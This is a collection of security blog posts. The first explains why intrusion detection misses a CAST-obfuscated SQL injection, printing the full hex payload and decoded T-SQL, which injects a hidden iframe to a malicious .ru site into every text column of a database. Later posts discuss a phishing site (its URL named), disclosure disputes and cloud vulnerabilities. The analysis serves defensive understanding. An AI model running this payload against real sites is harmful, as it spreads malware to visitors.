Michael N. Dundas

A friend and co-worker of mine Jerry Mangiarelli recently posted about a SQL injection attack that he has been following.  You can read his post here.  As he indicates, it is not a new attack, nor a very complex attack.  If you are interested in more details of the attack, SANS has more detailed review of the attack available here. My focus is not so much on the attack itself, but on the detection of the attack with security devices and why it is harder problem than many realize.

I think this attack is a really good example of how it is difficult for firewall, IPS, and IDS vendors to detect these type of attacks.  While the ability to do so is improving every day, and vendors will claim they can (and in some cases they can), the bad guys do have the advantage.  For the purposes of this post, I want to focus on how the attack attempts to hide from deployed security systems.  This attack can be used as a great example of how easy it is to evade detection systems for people that are not technically dealing with attacks day to day and wonder why it is so hard.

The key to this attack is the CAST function.  This function (which is available in many programming languages), will convert one data type to another.  A set of integers to a letter, a decimal number to a hexadecimal number are two examples.   In the attack, hexadecimal is used to mask the alphanumeric requests to the database.

If you look at the actual CAST function request, you see a 0x (means the next characters are a hexadecimal base) followed by:

6445634c417245204054207661526368615228323535292c406320764152434841722832353529206465634c417265207461624c455f635572734f5220435552534f5220466f522053454c45437420412e6e616d652c622e6e614d652066726f4d207379734f626a6543747320612c737973434f4c754d4e73206220776865524520612e69643d422e696420614e4420412e58745950653d27552720616e642028622e78545950653d3939206f7220622e58547970653d3335206f5220422e78545950653d323331204f5220622e78747970453d31363729206f50454e205441624c655f637552736f72206645544348206e6558542046524f6d205461426c455f437552734f7220494e744f2040542c4063207768696c4528404046657443685f7374417475533d302920626547496e20657845632827557044615445205b272b40742b275d20536554205b272b40632b275d3d727452494d28434f4e5665525428564152434841722834303030292c5b272b40432b275d29292b6361535428307833433639363637323631364436353230373337323633334432323638373437343730334132463246364536353644364636383735363936433634363936393645324537323735324637343634373332463637364632453730363837303346373336393634334433313232323037373639363437343638334432323330323232303638363536393637363837343344323233303232323037333734373936433635334432323634363937333730364336313739334136453646364536353232334533433246363936363732363136443635334520615320766152434861722831303629292729204645544368204e6578742066526f6d207441426c655f635572734f7220496e744f2040742c406320456e4420436c6f7365207461626c455f437552736f52206445414c4c6f43415465205461424c655f435552736f7220

The CAST function will convert the hexadecimal above to alphanumeric. The result of that conversion is:

dEcLArE @T vaRchaR(255),@c vARCHAr(255) decLAre tabLE_cUrsOR CURSOR FoR SELECt A.name,b.naMe froM sysObjeCts a,sysCOLuMNs b wheRE a.id=B.id aND A.XtYPe=’U’ and (b.xTYPe=99 or b.XType=35 oR B.xTYPe=231 OR b.xtypE=167) oPEN TAbLe_cuRsor fETCH neXT FROm TaBlE_CuRsOr INtO @T,@c whilE(@@FetCh_stAtuS=0) beGIn exEc(‘UpDaTE ['+@t+'] SeT ['+@c+']=rtRIM(CONVeRT(VARCHAr(4000),['+@C+']))+caST(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E aS vaRCHar(106))’) FETCh Next fRom tABle_cUrsOr IntO @t,@c EnD Close tablE_CuRsoR dEALLoCATe TaBLe_CURsor

Now you can see how this looks more like a SQL statement, it is just masked.  Where it becomes difficult for IPS/IDS vendors is that the translation that I did above, doesn’t happen until it reaches the sql engine for the targeted database.  So in flight through network it appears as hexadecimal.  Do you design your IPS/IDS systems with a sql engine that performs this function on every command?  That takes time and resources. And what would you trigger on exactly in the decoded section above?  The most logical thing to detect on in the decoded section, the attackers have actually hidden.

If you look carefully, there is a second CAST function nested within the first CAST function.

caST(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E

If you convert the hexadecimal in this inner CAST function you get:

<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>

This would be the logical area to detect.  A SQL query containing an HTML IFRAME tag to an external unknown website.  And this is the attack.  The problem is that the IPS/IDS, firewall or other security would have to do the extra function of converting the CAST within the CAST function.

Processing recursively  is resource intensive.  How many times to you recurse through the CAST function?  Are there other functions in SQL you should check?  What about if it is not hexadecimal but octal or some other numerical base?

While security vendors often claim they can detect the above, there are often many conditions around those claims that they do not explain.  Encryption, nested functions as above are but a few examples.  These problems go beyond just SQL injection as well, and apply for many types of attacks.

When evaluating these technologies, it is important that you have someone on your side that is independent of any vendors.  An employee or consultant that understands your requirements, is technically sound and solid about how the technology works (not just in theory), and can work on your behalf to ensure you understand exactly what the technologies can and can not do.  You then have a real understanding of the risks and exposures you face.

photo credit

Post written by Matt (who has a great URL I might add) on the security of your blog.

Where worms of old would do childish things like defacing your site, the new ones are silent and invisible …

He disucsses a recent worm with WordPress software and how it works at a level that anyone can understand regardless of your background.  I think this is important given that most people are not security experts that use a blog, yet they are at risk.   He also discusses the difference between a “known quantity of work” (doing an upgrade) and an “unknown quantity of work” fixing a security breech on your blog.

Most importantly though it is a good article to understand security in general even if you are not technical. His logic applies to any blog, and his analogy of how malware works today applies to all security in general.

http://www.flickr.com/photos/martineian/485029758/

A presentation of research on an ATM vulnerability has been pulled from the Blackhat conference.  This is too bad as I will be attending and love listening to security research of this calibre.  What is more disappointing is what it says about software and systems design and development.  Companies are going to have to get their heads around the fact that security design and testing has to be put into the product from the beginning.  Most vendors will say they do this, but the fact of the matter is that many do not.  Those that do often have good intentions, but then costs, timelines, delivery to market and other conditions cause them to drop the level of testing.  Security just isn’t a priority.  Personally, I feel the answer is simple.  Make the vendors legally and financially responsible for the software they design and create.    As soon as money is on the line, it will force the right thing.  This idea is not mine either, a great write up on this concept can be found here.  I think this is important.

This research was stopped because the ATM vendors do not have things fixed even after being told about it 8 months ago.  But what about the bad guy?  The guy that discovers a vulnerability such as this and rather then choose to present it at a conference, he just sells it to organized crime?  Some would call this spreading FUD (fear, uncertanty and doubt), maybe, but I think it is easy to see it happening more and more if nothing is fixed.

Anybody contemplating using GoogleDocs or any other cloud computing system for their business documents might want to re-think that decision or at the very least, include it in the risk matrix when making that decision.  It took 10 days to fix and notify which I suppose is good in today’s world.  It does however highlight the risks of putting data on a cloud computing platform that you effectively do not have administrative control of.  A thoughful analysis of what an outsider thinks the process was at Google — probably pretty accurate in my opinion.

I am at a conference this week speaking and participating.  An individual asked about BotNet detection for a particular product.  Specifically they highlighted several vendors that have solutions that detect BotNets.  I find this concept amusing and more of a marketing or positioning type of thing.  Stating  “We detect BotNets” is like stating “We do security”.

Anyone doing security research or investigations today realizes that almost all attacks are part of a botnet.  Most botnets are really just advanced shell programs that allow you to deploy whatever exploit or attack you want.  Botnet software usually takes care of the control, messaging, encryption requirements, exploit updates and allow the author to use other code or ‘plugins’ to create the BotNet behaviour they wish.

It is rare you will detect a Bot, rather you will detect the existence of a bot via the behaviour it exhibits.  This behaviour is usually in the form of spam, a D/DoS attack, phishing scam for personal data are examples.  It is important when assessing vendors for security that you go deeper than “We detect Botnets”.  How do you detect Botnets?  How do you ensure it is a valid BotNet and not just a P2P application?  The answer to questions such as these will tell you if a vendor honestly understands and knows security.  Good vendors of security will respond with responses that highlihgt the concept that a product detects bots and/or botnets but via intelligence gathered by behaviour patterns, subscriber or network history, chronology and external data.

AWS

Amazon, quietly fixed a significant cryptographic vulnerability in their request signing code, seven and a half months after the discovery.   This type of behaviour is very typical of all software vendors.    Of course this is nothing new.   I would suggest the problem is going to become more critical in the next few years.  More and more companies are offering services in a ‘cloud computing’ form and the customer base is increasing to include end users not just other businesses.  Social networks, online backup services, online crm services and the list goes on.   Everyone  using these services is at the mercy of the vendors to fix the problem — there are many more people show concern and  complain and the number is increasing.

This blog is a perfect example.  It is currently located on WordPress.com.  Great service, but the database, interface, and software are not under my control.  I do have the option to download, setup and run the software myself — although I have the resources and technical capabilities to do this easily,  I do not have the time, so I assume the risk (which is minimal given the type of data) and use a third party service.  Unfortunately, many people do not have the technical expertise and are forced to use an external service,  completely at mercy of the company offering the service.

I have done a lot of consulting for law firms over the years and this is slowly becoming a bigger issue for them.  Law firms, medical offices, financial institutions, and any other business have personal and private data from their clients that needs to remain confidential and  in their control.  For example, what happens if you are a law firm that chooses to store their client data offsite using a third party company that in turn uses cloud computing services which you may or may not be aware of.  There are many good reasons to do this such as cost, decrease in requirement for I.T. infrastructure, decrease need  to hire staff or pay consultants to keep software and systems up-to-date.   Any technical issues are the responsibility of the hired company, not the firm.   Now if the cloud computing company has a security vulnerability that takes them time to fix and during that time someone uses that vulerability to extract the law firms data who is to blame?  The law firm for choosing to not keep control of their data, the company that the law firm purchased services from, or the third party cloud computing company?  David Canton wrote about cloud computing concerns this fall.

It will be interesting to see how government and the legal community handles this in the next few years.  I am just waiting for a client to sue a law firm, medial office or some other company as their data somehow was made public.   The best situation from a security perspective will be if there is a breech of data that is involved in an ongoing legal proceeding.

I was at a talk by a spam researcher who made the point that although there are some complicated identify theft scams happening on the Internet, most are very, very simple. Yesterday, I received 3 emails supposedly from Scotiabank. Each one had a similar format, different subjects ‘scheduled security maintenance’, ‘securing customer data’. Standard fraud email. I would hope that most people today should realize it as fraud, mark it as ‘Junk’ and move on with life. The first flag for me was that I am not a Scotiabank customer. Second, banks never do this via email (and if your bank does you should change banks). Third, I received 3 of them to three different emails that I use to sign up for forms and the like on the Internet. The email had the standard URL for the user to click which appears to be a Scotia bank link. If you hover your pointer over the link, you can see that the actual link is different. I have highlighted the actual link in light green in the screen shot below. The actual site on the URL is ‘http://www.scotiaonline.scotiabank.com.dll.ec’.
I decided to take a few moments and see how ‘complicated’ this scam was. So far they rated very low on the ‘covertness’ scale. I fetched the URL in the email in a way that no code would execute or do anything nasty and took a look at it. It was standard HTML all compressed so there was no indentation or formatting, probably a simplistic attempt at obscurity. I ran that file through an HTML formatter and took a look at it. A simple form requesting information that your bank would already have. I pulled back the style sheets and graphics the page requested to ensure they did not have any malicious code in them. They didn’t.

Confident that all was reasonably safe so far, I went to the site with my browser. I was happy to see that the site had already been flagged by Mozilla as a fraud site and my browser immediately warned me.
I ignored the warning and proceeded to the site. A professional form appeared from ‘ScotiaBank’ requesting my card number, 3 codes that I assume Scotia customers use to authenticate themselves when using online banking services and some personal details.

If you fill in this form, it simply submits the information to the ‘fraudsters’ and I assume they can quickly access and transfer money from your bank account possibly automated via a BotNet. This is not an attempt at identity theft so much as it is an attempt to harvest information about accessing your account. I suspect that submitting data to this form, your bank profile and associated accounts would be accessed in seconds most likely from an automated program where money would be transferred or some fraudulent transactions would occur. The fact that they did not ask for a social insurance number on the form, means it is probably not an identity theft scam. My guess is that requesting a social insurance number most likely would raise more suspicion with some targets and probably would require the target to go look up what their number was, giving them more time to think before submitting the form. If the goal is to get access to the accounts and it is not required, why ask for what you don’t need and raise suspicion.

This is a simple attack and the technical knowledge to do it is minimal, making it easy for just about anyone with a computer and access to the internet to do it. It may be more complicated on the backend, bots to harvest and send emails, bots to automatically access the account and transfer money from users that submit proper data.

The talk from the spam reasearcher seems accurate, at least with this selected example. The attack was pretty simple although disappointing. I was hoping for more technical wizardry and smarts.

A nice analysis of Adobe Flash and the policy file changes that have been introduced. The more interesting part for me was the quick analysis of “unknown” sites that appear to be using flash maliciously or at the very least ‘testing’ the policy changes

I attended DefCon 16 this year. A presentation by 3 MIT students Zack Anderson, RJ Ryan, and Alessandro Chiesa on the last day of the conference was stopped by a federal court judge. The order is here, and more details can be found here. The slides to their presentation had already been published on the Defcon CD that is distributed to all attendees.

Defcon issued a twitter notification to all attendees immediately this morning to disseminate the news. The EFF in their scheduled time slot preempted what they had originally been presenting to first discuss this in a press release. The EFF will be representing the students. What disappointed me the most and the main reason I am blogging this was that during the press release it was discovered that the students did everything right. They had met with the Massachusetts Bay Transportation Authority MBTA) at their convenience prior to Defcon and discussed the vulnerability in detail with them. The impression was that the meeting was friendly, went well and there were no issues. Then on Friday and Saturday (the presentation was to be on Sunday), the MBTA managed to secure a temporary restraining order at the last minute. This makes me sad. It suggests that properly informing companies of the vulnerability before releasing the details may not be the right thing to do. Researchers in the future may very well look at this example and decide to just publish not bothering to inform companies. Everyone needs to play by the rules for responsible disclosure to work.

Vulnerabilities such as these are not new either. There was a presentation at Blackhat last week as well. The company Mifare chooses to try and cover these vulernabilities up and stop them from being published rather then fix the issues and learn to design secure software.

Most technical people in the internet community are well aware of the latest DNS poisoning attack discovered by researcher Dan kaminsky. There have been many comments and posts on it. I have seen Dan Kaminsky speak a few times. He is a smart guy and an excellent researcher. Unfortunately, I believe this attack was not handled properly.

Yes, Dan used responsible disclosure. He contacted and worked with the major DNS vendors to understand and fix the problem. They produced a ‘patch’ and released it to the public. This was all great. It is at this point that I start to have a problem.

The patch was released without telling the community the details of the issue. It was a ‘trust us’ you need to patch. Does that sound familiar? Governments, and vendors do it all the time. You don’t need to know the details, just trust us to protect you and do the right thing. A good article on the chronology of events is here. The reason for not telling the public was that it was going to be presented at Blackhat in a couple of weeks. The for me is where I start to have issues with the handling of this vulnerability. A well respected security researcher discovers a vulnerability in the DNS system that is very serious. Once a patch is available, rather then get all the information out he decides to hold the details to build hype for a presentation at Blackhat. Not very responsible at all. I’d suggest it was self-serving.

Between the patch release and BlackHat, people speculate as to what the DNS vulnerability is and eventually someone figures it out. I suppose one could argue that the primary goal of the DNS vulnerability discovery and lack of full release was not publicity at Blackhat. Yet as soon as the attack is figured out and released by someone other than Dan, I receive this e-mail:

Black Hat’s Second LIVE WEBCAST
Dan Kaminsky’s DNS Discovery:
The Global DNS Issue and the Massive, Multi-Vendor Fix Thursday, July 24
1:00 pm PST/4:00 pm ET . FREE

Speakers: Jeff Moss, Dan Kaminsky, Jerry Dixon, Rich Mogul, Joao Damas

Register Now at
http://w.on24.com………

Overview:
Early in 2008, security researcher Dan Kaminsky located a gaping hole the
basic underpinnings of the internet. This fundamental flaw in DNS security
renders almost all DNS serves open to cache poisoning (US CERT VU#800113).
As the vulnerability arises from flaws in the design of the DNS protocol,
the issue affects nearly all vendors and nearly all products designed to
work with DNS.

In the intervening time, Dan has worked with a coalition of vendors to
create a fix for this very serious and ubiquitous vulnerability. On July
8th, technology vendors from across the industry simultaneously released
patches for their products in a combined effort of historic proportion.

Join Dan Kaminsky, director of penetration testing for IOactive; Jerry
Dixon, former director of the National Cyber Security Division at DHS; and
other experts to discuss the largest synchronized security update in the
history of the Internet. Dan will tell the story behind the discovery, and
the process of creating and deploying the fix.

Presenters
Dan Kaminsky, Director of Penetration Testing, IOactive Jerry Dixon, Former
Director of the National Cyber Security Division, DHS Rich Mogul, Securosis
Joao Damas, Sr. Programme Manager, ISC

Obviously they are still trying to capitalize on the ‘publicity’ around this event. This makes me sad. Maybe Dan is being forced to do this because the company he works for wants the publicity and is forcing him or maybe he just secretly wants to be famous (he already is) and get public attention. Personally, I don’t know and I don’t really care. From what I have heard he is still not going to publish the ‘technical’ details till Blackhat, although this is kind of silly at this point.

What I do care about and am disappointed is that a security researcher of Dan’s Caliber is willing to deploy a ‘trust us’ mentality for his own or his companies public self gain. This has caused speculation and naturally causes both good and bad guys to try and figure it out. Basically, the media attention was more important than full disclosure at the right time. The right answer was to come clean as soon as the patch was released. People like myself will still go to see his presentation. Of course the media might not as it will be old news — which appears to be the main concern. I appreciate the work Dan and others like him do. I am disappointed in the apparent need for ‘self’ media attention. I expect it with software and hardware vendors. I never expected it from the security research community and a prominent individual in the community such as Dan.